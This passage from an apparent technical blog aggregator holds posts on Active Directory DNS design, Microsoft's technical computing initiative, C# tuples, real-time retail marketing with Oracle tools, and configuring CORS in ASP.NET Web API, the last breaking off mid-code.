has in place in one form or another.  The domain name services. The domain naming service (or DNS for short) is a service which translates IP address (the identifiers for each computer in your domain) into readable and easy to understand names. This service is a prequisite for ADDA to work and having wrong record in a DNS server will make any ADDS service fail. Generally speaking a DNS service will be run on the same server as the ADDS service but it is worth wile to remember that this is not necessary. You could, for example, run your DNS services on a linux box (which would need special preparing to host an ADDS integrated DNS zone) and run the ADDS service of another box… Where to start? If the aim is to put in place a first time implementation of ADDS in your enterprise there are plenty of things to consider depending on what you are going to do in the long run. Great care has to be taken when first designing and implementing as having it set up wrong will cause a headache down the line. It is for that reason that I like to start building from the bottom up and start with a generic installation of ADDS (which will still differ for every client) and make it adaptable for future services which can hook in to the existing environment. Adapting existing environments is out of scope for this document (and series) although it is possible to take the pointers and change your existing environment to run in a smoother manor. Take great care when changing things as one small slip of the hand can give you a forest wide failure… Whenever starting with an ADDS deployment I ask the client the following questions:  What are your long term plans and goals?  How flexible do you want it? Are you currently linux heavy and want to keep this or can we go for an all Microsoft design? Those three questions should give some sort of indicator what direction can be taken and if the client has thought about some things themselves :).  The technical side of things  What is next to consider is what kind of infrastructure is already in place. For these series I'll keep it simple and introduce some general concepts without going in to depth on integrating ADDS with other DNS services.  Building from the ground up means we need to consider our layers on which our infrastructure will rely. In my view that goes as follows:  Network (WAN/LAN links and physical sites DNS Namespacing All in one domain or split up in different domains/forests? Security (both for ADDS and physical sites) The network side of things  Looking at how the network is currently set up can potentially teach us a large deal about the client. Do they have multiple physical site? What network speeds exist between these sites, etc… Depending on this information we will design our site links (which controls replication) in future stages. DNS Namespacing Maybe the single most intresting thing to know is what the domain will be named (ADDS will need a DNS domain with the same name) and where this will be hosted. Note that active directory can be set up with a singe name (aka contoso instead of contoso.com) but it is highly recommended to never do this. If you do end up with a domain like that for some reason there will be a lot of services that are going to give you good grief in the future (exchange being one of them). So one of the best practises would be always to use a double name (contoso.com or contoso.lan for example). Internal namespace A single namespace is just what it sounds like. You have a DNS domain which is different internally from what the client has as an external namespace. f.e. contoso.com as an external name (out on the internet) and contoso.lan on the internal network. his setup is has its advantages in that you have more obscurity from the internet in the DNS side of this but it will require additional work to publish services to the web. External namespace Quite like the internal namespace only here you do not differ the internal namespace of the company from what is known on the internet. In this implementation you would host your own DNS servers for the external domain inside the network. Or in other words, any external computer doing a DNS lookup would contact your internal DNS server for the resolution. Generally speaking this set up is a bad idea from the security side of things. Split DNS Whilst using an external namespace design is fairly easy it involves a lot of security risks. Opening up you ADDS DSN servers for lookups exposes your entire network to the internet and should be avoided at any cost. And that is where the "split DNS" design comes in. In this setup up would still have the same namespace internally and externally but you would be using different DNS servers for lookups on the external network who have no records of your internal resources unless you explicitly publish them. All in one or not? In determining your active directory design you can look at the following possibilities:  Single forest, Single domain Single forest, multiple domains Multiple forests, multiple domains I've listed the possibilities for design in increasing order of administrative magnitude. Microsoft recommends trying to use a single forest, single domain in as much situations as possible. It is, however, always possible that you require your services to be seperated from your users in a resource forest with trusts set up between the different forests. To start out I would go with the single forest design to avoid complexity unless there are strict requirements to have multiple forests. Security What kind of security is required on the domain and does this reflect the physical security on the sites? Not every client can afford to have a domain controller in a secluded server room on every site and it is exactly for that reason that Microsoft introduced the RODC (read only domain controller). A RODC is a domain controller that has been limited in functionality, in essence it will only cache the data you explicitly tell it to cache and in the case of a DC compromise (it being stolen) only a limited number of accounts will need to be affected. Th- Th- Th- That’s all folks! Well at least for now! In future editions of this series we’ll be walking through the different task that need to be done and the thought which needs to be put in to it. But for all editions we’ll be going from the concept of running a single forest, single domain with a split DNS setup… See you next time!

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• Microsoft&rsquo;s new technical computing initiative

  - by Randy Walker

  I made a mental note from earlier in the year.  Microsoft literally buys computers by the truckload.  From what I understand, it’s a typical practice amongst large software vendors.  You plug a few wires in, you test it, and you instantly have mega tera tera flops (don’t hold me to that number).  Microsoft has been trying to plug away at their cloud services (named Azure).  Which, for the layman, means Microsoft runs your software on their computers, and as demand increases you can allocate more computing power on the fly. With this in mind, it doesn’t surprise me that I was recently sent an executive email concerning Microsoft’s new technical computing initiative.  I find it to be a great marketing idea with actual substance behind their real work.  From the programmer academic perspective, in college we dreamed about this type of processing power.  This has decades of computer science theory behind it. A copy of the email received.  (note that I almost deleted this email, thinking it was spam due to it’s length) We don't often think about how complex life really is. Take the relatively simple task of commuting to and from work: it is, in fact, a complicated interplay of variables such as weather, train delays, accidents, traffic patterns, road construction, etc. You can however, take steps to shorten your commute - using a good, predictive understanding of a few of these variables. In fact, you probably are already taking these inputs and instinctively building a predictive model that you act on daily to get to your destination more quickly. Now, when we apply the same method to very complex tasks, this modeling approach becomes much more challenging. Recent world events clearly demonstrated our inability to process vast amounts of information and variables that would have helped to more accurately predict the behavior of global financial markets or the occurrence and impact of a volcano eruption in Iceland. To make sense of issues like these, researchers, engineers and analysts create computer models of the almost infinite number of possible interactions in complex systems. But, they need increasingly more sophisticated computer models to better understand how the world behaves and to make fact-based predictions about the future. And, to do this, it requires a tremendous amount of computing power to process and examine the massive data deluge from cameras, digital sensors and precision instruments of all kinds. This is the key to creating more accurate and realistic models that expose the hidden meaning of data, which gives us the kind of insight we need to solve a myriad of challenges. We have made great strides in our ability to build these kinds of computer models, and yet they are still too difficult, expensive and time consuming to manage. Today, even the most complicated data-rich simulations cannot fully capture all of the intricacies and dependencies of the systems they are trying to model. That is why, across the scientific and engineering world, it is so hard to say with any certainty when or where the next volcano will erupt and what flight patterns it might affect, or to more accurately predict something like a global flu pandemic. So far, we just cannot collect, correlate and compute enough data to create an accurate forecast of the real world. But this is about to change. Innovations in technology are transforming our ability to measure, monitor and model how the world behaves. The implication for scientific research is profound, and it will transform the way we tackle global challenges like health care and climate change. It will also have a huge impact on engineering and business, delivering breakthroughs that could lead to the creation of new products, new businesses and even new industries. Because you are a subscriber to executive e-mails from Microsoft, I want you to be the first to know about a new effort focused specifically on empowering millions of the world's smartest problem solvers. Today, I am happy to introduce Microsoft's Technical Computing initiative. Our goal is to unleash the power of pervasive, accurate, real-time modeling to help people and organizations achieve their objectives and realize their potential. We are bringing together some of the brightest minds in the technical computing community across industry, academia and science at www.modelingtheworld.com to discuss trends, challenges and shared opportunities. New advances provide the foundation for tools and applications that will make technical computing more affordable and accessible where mathematical and computational principles are applied to solve practical problems. One day soon, complicated tasks like building a sophisticated computer model that would typically take a team of advanced software programmers months to build and days to run, will be accomplished in a single afternoon by a scientist, engineer or analyst working at the PC on their desktop. And as technology continues to advance, these models will become more complete and accurate in the way they represent the world. This will speed our ability to test new ideas, improve processes and advance our understanding of systems. Our technical computing initiative reflects the best of Microsoft's heritage. Ever since Bill Gates articulated the then far-fetched vision of "a computer on every desktop" in the early 1980's, Microsoft has been at the forefront of expanding the power and reach of computing to benefit the world. As someone who worked closely with Bill for many years at Microsoft, I am happy to share with you that the passion behind that vision is fully alive at Microsoft and is carried out in the creation of our new Technical Computing group. Enabling more people to make better predictions We have seen the impact of making greater computing power more available firsthand through our investments in high performance computing (HPC) over the past five years. Scientists, engineers and analysts in organizations of all sizes and sectors are finding that using distributed computational power creates societal impact, fuels scientific breakthroughs and delivers competitive advantages. For example, we have seen remarkable results from some of our current customers: Malaria strikes 300,000 to 500,000 people around the world each year. To help in the effort to eradicate malaria worldwide, scientists at Intellectual Ventures use software that simulates how the disease spreads and would respond to prevention and control methods, such as vaccines and the use of bed nets. Technical computing allows researchers to model more detailed parameters for more accurate results and receive those results in less than an hour, rather than waiting a full day. Aerospace engineering firm, a.i. solutions, Inc., needed a more powerful computing platform to keep up with the increasingly complex computational needs of its customers: NASA, the Department of Defense and other government agencies planning space flights. To meet that need, it adopted technical computing. Now, a.i. solutions can produce detailed predictions and analysis of the flight dynamics of a given spacecraft, from optimal launch times and orbit determination to attitude control and navigation, up to eight times faster. This enables them to avoid mistakes in any areas that can cause a space mission to fail and potentially result in the loss of life and millions of dollars. Western & Southern Financial Group faced the challenge of running ever larger and more complex actuarial models as its number of policyholders and products grew and regulatory requirements changed. The company chose an actuarial solution that runs on technical computing technology. The solution is easy for the company's IT staff to manage and adjust to meet business needs. The new solution helps the company reduce modeling time by up to 99 percent - letting the team fine-tune its models for more accurate product pricing and financial projections. Our Technical Computing direction Collaborating closely with partners across industry and academia, we must now extend the reach of technical computing even further to help predictive modelers and data explorers make faster, more accurate predictions. As we build the Technical Computing initiative, we will invest in three core areas: Technical computing to the cloud: Microsoft will play a leading role in bringing technical computing power to scientists, engineers and analysts through the cloud. Existing high- performance computing users will benefit from the ability to augment their on-premises systems with cloud resources that enable 'just-in-time' processing. This platform will help ensure processing resources are available whenever they are needed-reliably, consistently and quickly. Simplify parallel development: Today, computers are shipping with more processing power than ever, including multiple cores, but most modern software only uses a small amount of the available processing power. Parallel programs are extremely difficult to write, test and trouble shoot. However, a consistent model for parallel programming can help more developers unlock the tremendous power in today's modern computers and enable a new generation of technical computing. We are delivering new tools to automate and simplify writing software through parallel processing from the desktop... to the cluster... to the cloud. Develop powerful new technical computing tools and applications: We know scientists, engineers and analysts are pushing common tools (i.e., spreadsheets and databases) to the limits with complex, data-intensive models. They need easy access to more computing power and simplified tools to increase the speed of their work. We are building a platform to do this. Our development efforts will yield new, easy-to-use tools and applications that automate data acquisition, modeling, simulation, visualization, workflow and collaboration. This will allow them to spend more time on their work and less time wrestling with complicated technology. Thinking bigger There is so much left to be discovered and so many questions yet to be answered in the fascinating world around us. We believe the technical computing community will show us that we have not seen anything yet. Imagine just some of the breakthroughs this community could make possible: Better predictions to help improve the understanding of pandemics, contagion and global health trends. Climate change models that predict environmental, economic and human impact, accessible in real-time during key discussions and debates. More accurate prediction of natural disasters and their impact to develop more effective emergency response plans. With an ambitious charter in hand, this new team is ready to build on our progress to-date and execute Microsoft's technical computing vision over the months and years ahead. We will steadily invest in the right technologies, tools and talent, and work to bring together the technical computing community. I invite you to visit www.modelingtheworld.com today. We welcome your ideas and feedback. I look forward to making this journey with you and others who want to answer the world's biggest questions, discover solutions to problems that seem impossible and uncover a host of new opportunities to change the world we live in for the better. Bob

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• C#/.NET Little Wonders: Tuples and Tuple Factory Methods

  - by James Michael Hare

  Once again, in this series of posts I look at the parts of the .NET Framework that may seem trivial, but can really help improve your code by making it easier to write and maintain.  This week, we look at the System.Tuple class and the handy factory methods for creating a Tuple by inferring the types. What is a Tuple? The System.Tuple is a class that tends to inspire a reaction in one of two ways: love or hate.  Simply put, a Tuple is a data structure that holds a specific number of items of a specific type in a specific order.  That is, a Tuple<int, string, int> is a tuple that contains exactly three items: an int, followed by a string, followed by an int.  The sequence is important not only to distinguish between two members of the tuple with the same type, but also for comparisons between tuples.  Some people tend to love tuples because they give you a quick way to combine multiple values into one result.  This can be handy for returning more than one value from a method (without using out or ref parameters), or for creating a compound key to a Dictionary, or any other purpose you can think of.  They can be especially handy when passing a series of items into a call that only takes one object parameter, such as passing an argument to a thread's startup routine.  In these cases, you do not need to define a class, simply create a tuple containing the types you wish to return, and you are ready to go? On the other hand, there are some people who see tuples as a crutch in object-oriented design.  They may view the tuple as a very watered down class with very little inherent semantic meaning.  As an example, what if you saw this in a piece of code: 1: var x = new Tuple<int, int>(2, 5); What are the contents of this tuple?  If the tuple isn't named appropriately, and if the contents of each member are not self evident from the type this can be a confusing question.  The people who tend to be against tuples would rather you explicitly code a class to contain the values, such as: 1: public sealed class RetrySettings 2: { 3: public int TimeoutSeconds { get; set; } 4: public int MaxRetries { get; set; } 5: } Here, the meaning of each int in the class is much more clear, but it's a bit more work to create the class and can clutter a solution with extra classes. So, what's the correct way to go?  That's a tough call.  You will have people who will argue quite well for one or the other.  For me, I consider the Tuple to be a tool to make it easy to collect values together easily.  There are times when I just need to combine items for a key or a result, in which case the tuple is short lived and so the meaning isn't easily lost and I feel this is a good compromise.  If the scope of the collection of items, though, is more application-wide I tend to favor creating a full class. Finally, it should be noted that tuples are immutable.  That means they are assigned a value at construction, and that value cannot be changed.  Now, of course if the tuple contains an item of a reference type, this means that the reference is immutable and not the item referred to. Tuples from 1 to N Tuples come in all sizes, you can have as few as one element in your tuple, or as many as you like.  However, since C# generics can't have an infinite generic type parameter list, any items after 7 have to be collapsed into another tuple, as we'll show shortly. So when you declare your tuple from sizes 1 (a 1-tuple or singleton) to 7 (a 7-tuple or septuple), simply include the appropriate number of type arguments: 1: // a singleton tuple of integer 2: Tuple<int> x; 3:  4: // or more 5: Tuple<int, double> y; 6:  7: // up to seven 8: Tuple<int, double, char, double, int, string, uint> z; Anything eight and above, and we have to nest tuples inside of tuples.  The last element of the 8-tuple is the generic type parameter Rest, this is special in that the Tuple checks to make sure at runtime that the type is a Tuple.  This means that a simple 8-tuple must nest a singleton tuple (one of the good uses for a singleton tuple, by the way) for the Rest property. 1: // an 8-tuple 2: Tuple<int, int, int, int, int, double, char, Tuple<string>> t8; 3:  4: // an 9-tuple 5: Tuple<int, int, int, int, double, int, char, Tuple<string, DateTime>> t9; 6:  7: // a 16-tuple 8: Tuple<int, int, int, int, int, int, int, Tuple<int, int, int, int, int, int, int, Tuple<int,int>>> t14; Notice that on the 14-tuple we had to have a nested tuple in the nested tuple.  Since the tuple can only support up to seven items, and then a rest element, that means that if the nested tuple needs more than seven items you must nest in it as well.  Constructing tuples Constructing tuples is just as straightforward as declaring them.  That said, you have two distinct ways to do it.  The first is to construct the tuple explicitly yourself: 1: var t3 = new Tuple<int, string, double>(1, "Hello", 3.1415927); This creates a triple that has an int, string, and double and assigns the values 1, "Hello", and 3.1415927 respectively.  Make sure the order of the arguments supplied matches the order of the types!  Also notice that we can't half-assign a tuple or create a default tuple.  Tuples are immutable (you can't change the values once constructed), so thus you must provide all values at construction time. Another way to easily create tuples is to do it implicitly using the System.Tuple static class's Create() factory methods.  These methods (much like C++'s std::make_pair method) will infer the types from the method call so you don't have to type them in.  This can dramatically reduce the amount of typing required especially for complex tuples! 1: // this 4-tuple is typed Tuple<int, double, string, char> 2: var t4 = Tuple.Create(42, 3.1415927, "Love", 'X'); Notice how much easier it is to use the factory methods and infer the types?  This can cut down on typing quite a bit when constructing tuples.  The Create() factory method can construct from a 1-tuple (singleton) to an 8-tuple (octuple), which of course will be a octuple where the last item is a singleton as we described before in nested tuples. Accessing tuple members Accessing a tuple's members is simplicity itself… mostly.  The properties for accessing up to the first seven items are Item1, Item2, …, Item7.  If you have an octuple or beyond, the final property is Rest which will give you the nested tuple which you can then access in a similar matter.  Once again, keep in mind that these are read-only properties and cannot be changed. 1: // for septuples and below, use the Item properties 2: var t1 = Tuple.Create(42, 3.14); 3:  4: Console.WriteLine("First item is {0} and second is {1}", 5: t1.Item1, t1.Item2); 6:  7: // for octuples and above, use Rest to retrieve nested tuple 8: var t9 = new Tuple<int, int, int, int, int, int, int, 9: Tuple<int, int>>(1,2,3,4,5,6,7,Tuple.Create(8,9)); 10:  11: Console.WriteLine("The 8th item is {0}", t9.Rest.Item1); Tuples are IStructuralComparable and IStructuralEquatable Most of you know about IComparable and IEquatable, what you may not know is that there are two sister interfaces to these that were added in .NET 4.0 to help support tuples.  These IStructuralComparable and IStructuralEquatable make it easy to compare two tuples for equality and ordering.  This is invaluable for sorting, and makes it easy to use tuples as a compound-key to a dictionary (one of my favorite uses)! Why is this so important?  Remember when we said that some folks think tuples are too generic and you should define a custom class?  This is all well and good, but if you want to design a custom class that can automatically order itself based on its members and build a hash code for itself based on its members, it is no longer a trivial task!  Thankfully the tuple does this all for you through the explicit implementations of these interfaces. For equality, two tuples are equal if all elements are equal between the two tuples, that is if t1.Item1 == t2.Item1 and t1.Item2 == t2.Item2, and so on.  For ordering, it's a little more complex in that it compares the two tuples one at a time starting at Item1, and sees which one has a smaller Item1.  If one has a smaller Item1, it is the smaller tuple.  However if both Item1 are the same, it compares Item2 and so on. For example: 1: var t1 = Tuple.Create(1, 3.14, "Hi"); 2: var t2 = Tuple.Create(1, 3.14, "Hi"); 3: var t3 = Tuple.Create(2, 2.72, "Bye"); 4:  5: // true, t1 == t2 because all items are == 6: Console.WriteLine("t1 == t2 : " + t1.Equals(t2)); 7:  8: // false, t1 != t2 because at least one item different 9: Console.WriteLine("t2 == t2 : " + t2.Equals(t3)); The actual implementation of IComparable, IEquatable, IStructuralComparable, and IStructuralEquatable is explicit, so if you want to invoke the methods defined there you'll have to manually cast to the appropriate interface: 1: // true because t1.Item1 < t3.Item1, if had been same would check Item2 and so on 2: Console.WriteLine("t1 < t3 : " + (((IComparable)t1).CompareTo(t3) < 0)); So, as I mentioned, the fact that tuples are automatically equatable and comparable (provided the types you use define equality and comparability as needed) means that we can use tuples for compound keys in hashing and ordering containers like Dictionary and SortedList: 1: var tupleDict = new Dictionary<Tuple<int, double, string>, string>(); 2:  3: tupleDict.Add(t1, "First tuple"); 4: tupleDict.Add(t2, "Second tuple"); 5: tupleDict.Add(t3, "Third tuple"); Because IEquatable defines GetHashCode(), and Tuple's IStructuralEquatable implementation creates this hash code by combining the hash codes of the members, this makes using the tuple as a complex key quite easy!  For example, let's say you are creating account charts for a financial application, and you want to cache those charts in a Dictionary based on the account number and the number of days of chart data (for example, a 1 day chart, 1 week chart, etc): 1: // the account number (string) and number of days (int) are key to get cached chart 2: var chartCache = new Dictionary<Tuple<string, int>, IChart>(); Summary The System.Tuple, like any tool, is best used where it will achieve a greater benefit.  I wouldn't advise overusing them, on objects with a large scope or it can become difficult to maintain.  However, when used properly in a well defined scope they can make your code cleaner and easier to maintain by removing the need for extraneous POCOs and custom property hashing and ordering. They are especially useful in defining compound keys to IDictionary implementations and for returning multiple values from methods, or passing multiple values to a single object parameter. Tweet Technorati Tags: C#,.NET,Tuple,Little Wonders

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• Right-Time Retail Part 3

  - by David Dorf

  This is part three of the three-part series.  Read Part 1 and Part 2 first. Normal 0 false false false EN-US X-NONE X-NONE /* Style Definitions */ table.MsoNormalTable {mso-style-name:"Table Normal"; mso-tstyle-rowband-size:0; mso-tstyle-colband-size:0; mso-style-noshow:yes; mso-style-priority:99; mso-style-qformat:yes; mso-style-parent:""; mso-padding-alt:0in 5.4pt 0in 5.4pt; mso-para-margin-top:0in; mso-para-margin-right:0in; mso-para-margin-bottom:10.0pt; mso-para-margin-left:0in; line-height:115%; mso-pagination:widow-orphan; font-size:11.0pt; font-family:"Calibri","sans-serif"; mso-ascii-font-family:Calibri; mso-ascii-theme-font:minor-latin; mso-fareast-font-family:"Times New Roman"; mso-fareast-theme-font:minor-fareast; mso-hansi-font-family:Calibri; mso-hansi-theme-font:minor-latin; mso-bidi-font-family:"Times New Roman"; mso-bidi-theme-font:minor-bidi;} Right-Time Marketing Real-time isn’t just about executing faster; it extends to interactions with customers as well. As an industry, we’ve spent many years analyzing all the data that’s been collected. Yes, that data has been invaluable in helping us make better decisions like where to open new stores, how to assort those stores, and how to price our products. But the recent advances in technology are now making it possible to analyze and deliver that data very quickly… fast enough to impact a potential sale in near real-time. Let me give you two examples. Salesmen in car dealerships get pretty good at sizing people up. When a potential customer walks in the door, it doesn’t take long for the salesman to figure out the revenue at stake. Is this person a real buyer, or just looking for a fun test drive? Will this person buy today or three months from now? Will this person opt for the expensive packages, or go bare bones? While the salesman certainly asks some leading questions, much of information is discerned through body language. But body language doesn’t translate very well over the web. Eloqua, which was acquired by Oracle earlier this year, reads internet body language. By tracking the behavior of the people visiting your web site, Eloqua categorizes visitors based on their propensity to buy. While Eloqua’s roots have been in B2B, we’ve been looking at leveraging the technology with ATG to target B2C. Knowing what sites were previously visited, how often the customer has been to your site recently, and how long they’ve spent searching can help understand where the customer is in their purchase journey. And knowing that bit of information may be enough to help close the deal with a real-time offer, follow-up email, or online customer service pop-up. This isn’t so different from the days gone by when the clerk behind the counter of the corner store noticed you were lingering in a particular aisle, so he walked over to help you compare two products and close the sale. You appreciated the personalized service, and he knew the value of the long-term relationship. Move that same concept into the digital world and you have Oracle’s CX Suite, a cloud-based offering of end-to-end customer experience tools, assembled primarily from acquisitions. Those tools are Oracle Marketing (Eloqua), Oracle Commerce (ATG, Endeca), Oracle Sales (Oracle CRM On Demand), Oracle Service (RightNow), Oracle Social (Collective Intellect, Vitrue, Involver), and Oracle Content (Fatwire). We are providing the glue that binds the CIO and CMO together to unleash synergies that drive the top-line higher, and by virtue of the cloud-approach, keep costs at bay. My second example of real-time marketing takes place in the store but leverages the concepts of Web marketing. In 1962 the decline of personalized service in retail began. Anyone know the significance of that year? That’s when Target, K-Mart, and Walmart each opened their first stores, and over the succeeding years the industry chose scale over personal service. No longer were you known as “Jane with the snotty kid so make sure we check her out fast,” but you suddenly became “time-starved female age 20-30 with kids.” I’m not saying that was a bad thing – it was the right thing for our industry at the time, and it enabled a huge amount of growth, cheaper prices, and more variety of products. But scale alone is no longer good enough. Today’s sophisticated consumer demands scale, experience, and personal attention. To some extent we’ve delivered that on websites via the magic of cookies, your willingness to log in, and sophisticated data analytics. What store manager wouldn’t love a report detailing all the visitors to his store, where they came from, and which products that examined? People trackers are getting more sophisticated, incorporating infrared, video analytics, and even face recognition. (Next time you walk in front on a mannequin, don’t be surprised if it’s looking back.) But the ultimate marketing conduit is the mobile phone. Since each mobile phone emits a unique number on WiFi networks, it becomes the cookie of the physical world. Assuming congress keeps privacy safeguards reasonable, we’ll have a win-win situation for both retailers and consumers. Retailers get to know more about the consumer’s purchase journey, and consumers get higher levels of service with the retailer. When I call my bank, a couple things happen before the call is connected. A reverse look-up on my phone number identifies me so my accounts can be retrieved from Siebel CRM. Then the system anticipates why I’m calling based on recent transactions. In this example, it sees that I was just charged a foreign currency fee, so it assumes that’s the reason I’m calling. It puts all the relevant information on the customer service rep’s screen as it connects the call. When I complain about the fee, the rep immediately sees I’m a great customer and I travel lots, so she suggests switching me to their traveler’s card that doesn’t have foreign transaction fees. That technology is powered by a product called Oracle Real-Time Decisions, a rules engine built to execute very quickly, basically in the time it takes the phone to ring once. So let’s combine the power of that product with our new-found mobile cookie and provide contextual customer interactions in real-time. Our first opportunity comes when a customer crosses a pre-defined geo-fence, typically a boundary around the store. Context is the key to our interaction: that’s the customer (known or anonymous), the time of day and day of week, and location. Thomas near the downtown store on a Wednesday at noon means he’s heading to lunch. If he were near the mall location on a Saturday morning, that’s a completely different context. But on his way to lunch, we’ll let Thomas know that we’ve got a new shipment of ASICS running shoes on display with a simple text message. We used the context to look-up Thomas’ past purchases and understood he was an avid runner. We used the fact that this was lunchtime to select the type of message, in this case an informational message instead of an offer. Thomas enters the store, phone in hand, and walks to the shoe department. He scans one of the new ASICS shoes using the convenient QR Codes we provided on the shelf-tags, but then he starts scanning low-end Nikes. Each scan is another opportunity to both learn from Thomas and potentially interact via another message. Since he historically buys low-end Nikes and keeps scanning them, he’s likely falling back into his old ways. Our marketing rules are currently set to move loyal customer to higher margin products. We could have set the dials to increase visit frequency, move overstocked items, increase basket size, or many other settings, but today we are trying to move Thomas to higher-margin products. We send Thomas another text message, this time it’s a personalized offer for 10% off ASICS good for 24 hours. Offering him a discount on Nikes would be throwing margin away since he buys those anyway. We are using our marketing dollars to change behavior that increases the long-term value of Thomas. He decides to buy the ASICS and scans the discount code on his phone at checkout. Checkout is yet another opportunity to interact with Thomas, so the transaction is sent back to Oracle RTD for evaluation. Since Thomas didn’t buy anything with the shoes, we’ll print a bounce-back coupon on the receipt offering 30% off ASICS socks if he returns within seven days. We have successfully started moving Thomas from low-margin to high-margin products. In both of these marketing scenarios, we are able to leverage data in near real-time to decide how best to interact with the customer and lead to an increase in the lifetime value of the customer. The key here is acting at the moment the customer shows interest using the context of the situation. We aren’t pushing random products at haphazard times. We are tailoring the marketing to be very specific to this customer, and it’s the technology that allows this to happen in near real-time. Conclusion As we enable more right-time integrations and interactions, retailers will begin to offer increased service to their customers. Localized and personalized service at scale will drive loyalty and lead to meaningful revenue growth for the retailers that execute well. Our industry needs to support Commerce Anywhere…and commerce anytime as well.

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• Web API, JavaScript, Chrome &amp; Cross-Origin Resource Sharing

  - by Brian Lanham

  The team spent much of the week working through this issues related to Chrome running on Windows 8 consuming cross-origin resources using Web API.  We thought it was resolved on day 2 but it resurfaced the next day.  We definitely resolved it today though.  I believe I do not fully understand the situation but I am going to explain what I know in an effort to help you avoid and/or resolve a similar issue. References We referenced many sources during our trial-and-error troubleshooting.  These are the links we reference in order of applicability to the solution: Zoiner Tejada JavaScript and other material from -> http://www.devproconnections.com/content1/topic/microsoft-azure-cors-141869/catpath/windows-azure-platform2/page/3 WebDAV Where I learned about “Accept” –>  http://www-jo.se/f.pfleger/cors-and-iis? IT Hit Tells about NOT using ‘*’ –> http://www.webdavsystem.com/ajax/programming/cross_origin_requests Carlos Figueira Sample back-end code (newer) –> http://code.msdn.microsoft.com/windowsdesktop/Implementing-CORS-support-a677ab5d (older version) –> http://code.msdn.microsoft.com/CORS-support-in-ASPNET-Web-01e9980a   Background As a measure of protection, Web designers (W3C) and implementers (Google, Microsoft, Mozilla) made it so that a request, especially a JSON request (but really any URL), sent from one domain to another will only work if the requestee “knows” about the requester and allows requests from it. So, for example, if you write a ASP.NET MVC Web API service and try to consume it from multiple apps, the browsers used may (will?) indicate that you are not allowed by showing an “Access-Control-Allow-Origin” error indicating the requester is not allowed to make requests. Internet Explorer (big surprise) is the odd-hair-colored step-child in this mix. It seems that running locally at least IE allows this for development purposes.  Chrome and Firefox do not.  In fact, Chrome is quite restrictive.  Notice the images below. IE shows data (a tabular view with one row for each day of a week) while Chrome does not (trust me, neither does Firefox).  Further, the Chrome developer console shows an XmlHttpRequest (XHR) error. Screen captures from IE (left) and Chrome (right). Note that Chrome does not display data and the console shows an XHR error. Why does this happen? The Web browser submits these requests and processes the responses and each browser is different. Okay, so, IE is probably the only one that’s truly different.  However, Chrome has a specific process of performing a “pre-flight” check to make sure the service can respond to an “Access-Control-Allow-Origin” or Cross-Origin Resource Sharing (CORS) request.  So basically, the sequence is, if I understand correctly:  1)Page Loads –> 2)JavaScript Request Processed by Browser –> 3)Browsers Prepares to Submit Request –> 4)[Chrome] Browser Submits Pre-Flight Request –> 5)Server Responds with HTTP 200 –> 6)Browser Submits Request –> 7)Server Responds with Data –> 8)Page Shows Data This situation occurs for both GET and POST methods.  Typically, GET methods are called with query string parameters so there is no data posted.  Instead, the requesting domain needs to be permitted to request data but generally nothing more is required.  POSTs on the other hand send form data.  Therefore, more configuration is required (you’ll see the configuration below).  AJAX requests are not friendly with this (POSTs) either because they don’t post in a form. How to fix it. The team went through many iterations of self-hair removal and we think we finally have a working solution.  The trial-and-error approach eventually worked and we referenced many sources for the information.  I indicate those references above.  There are basically three (3) tasks needed to make this work. Assumptions: You are using Visual Studio, Web API, JavaScript, and have Cross-Origin Resource Sharing, and several browsers. 1. Configure the client Joel Cochran centralized our “cors-oriented” JavaScript (from here). There are two calls including one for GET and one for POST function(url, data, callback) {             console.log(data);             $.support.cors = true;             var jqxhr = $.post(url, data, callback, "json")                 .error(function(jqXhHR, status, errorThrown) {                     if ($.browser.msie && window.XDomainRequest) {                         var xdr = new XDomainRequest();                         xdr.open("post", url);                         xdr.onload = function () {                             if (callback) {                                 callback(JSON.parse(this.responseText), 'success');                             }                         };                         xdr.send(data);                     } else {                         console.log(">" + jqXhHR.status);                         alert("corsAjax.post error: " + status + ", " + errorThrown);                     }                 });         }; The GET CORS JavaScript function (credit to Zoiner Tejada) function(url, callback) {             $.support.cors = true;             var jqxhr = $.get(url, null, callback, "json")                 .error(function(jqXhHR, status, errorThrown) {                     if ($.browser.msie && window.XDomainRequest) {                         var xdr = new XDomainRequest();                         xdr.open("get", url);                         xdr.onload = function () {                             if (callback) {                                 callback(JSON.parse(this.responseText), 'success');                             }                         };                         xdr.send();                     } else {                         alert("CORS is not supported in this browser or from this origin.");                     }                 });         }; The POST CORS JavaScript function (credit to Zoiner Tejada) Now you need to call these functions to get and post your data (instead of, say, using $.Ajax). Here is a GET example: corsAjax.get(url, function(data) { if (data !== null && data.length !== undefined) { // do something with data } }); And here is a POST example: corsAjax.post(url, item); Simple…except…you’re not done yet. 2. Change Web API Controllers to Allow CORS There are actually two steps here.  Do you remember above when we mentioned the “pre-flight” check?  Chrome actually asks the server if it is allowed to ask it for cross-origin resource sharing access.  So you need to let the server know it’s okay.  This is a two-part activity.  a) Add the appropriate response header Access-Control-Allow-Origin, and b) permit the API functions to respond to various methods including GET, POST, and OPTIONS.  OPTIONS is the method that Chrome and other browsers use to ask the server if it can ask about permissions.  Here is an example of a Web API controller thus decorated: NOTE: You’ll see a lot of references to using “*” in the header value.  For security reasons, Chrome does NOT recognize this is valid. [HttpHeader("Access-Control-Allow-Origin", "http://localhost:51234")] [HttpHeader("Access-Control-Allow-Credentials", "true")] [HttpHeader("Access-Control-Allow-Methods", "ACCEPT, PROPFIND, PROPPATCH, COPY, MOVE, DELETE, MKCOL, LOCK, UNLOCK, PUT, GETLIB, VERSION-CONTROL, CHECKIN, CHECKOUT, UNCHECKOUT, REPORT, UPDATE, CANCELUPLOAD, HEAD, OPTIONS, GET, POST")] [HttpHeader("Access-Control-Allow-Headers", "Accept, Overwrite, Destination, Content-Type, Depth, User-Agent, X-File-Size, X-Requested-With, If-Modified-Since, X-File-Name, Cache-Control")] [HttpHeader("Access-Control-Max-Age", "3600")] public abstract class BaseApiController : ApiController {     [HttpGet]     [HttpOptions]     public IEnumerable<foo> GetFooItems(int id)     {         return foo.AsEnumerable();     }     [HttpPost]     [HttpOptions]     public void UpdateFooItem(FooItem fooItem)     {         // NOTE: The fooItem object may or may not         // (probably NOT) be set with actual data.         // If not, you need to extract the data from         // the posted form manually.         if (fooItem.Id == 0) // However you check for default...         {             // We use NewtonSoft.Json.             string jsonString = context.Request.Form.GetValues(0)[0].ToString();             Newtonsoft.Json.JsonSerializer js = new Newtonsoft.Json.JsonSerializer();             fooItem = js.Deserialize<FooItem>(new Newtonsoft.Json.JsonTextReader(new System.IO.StringReader(jsonString)));         }         // Update the set fooItem object.     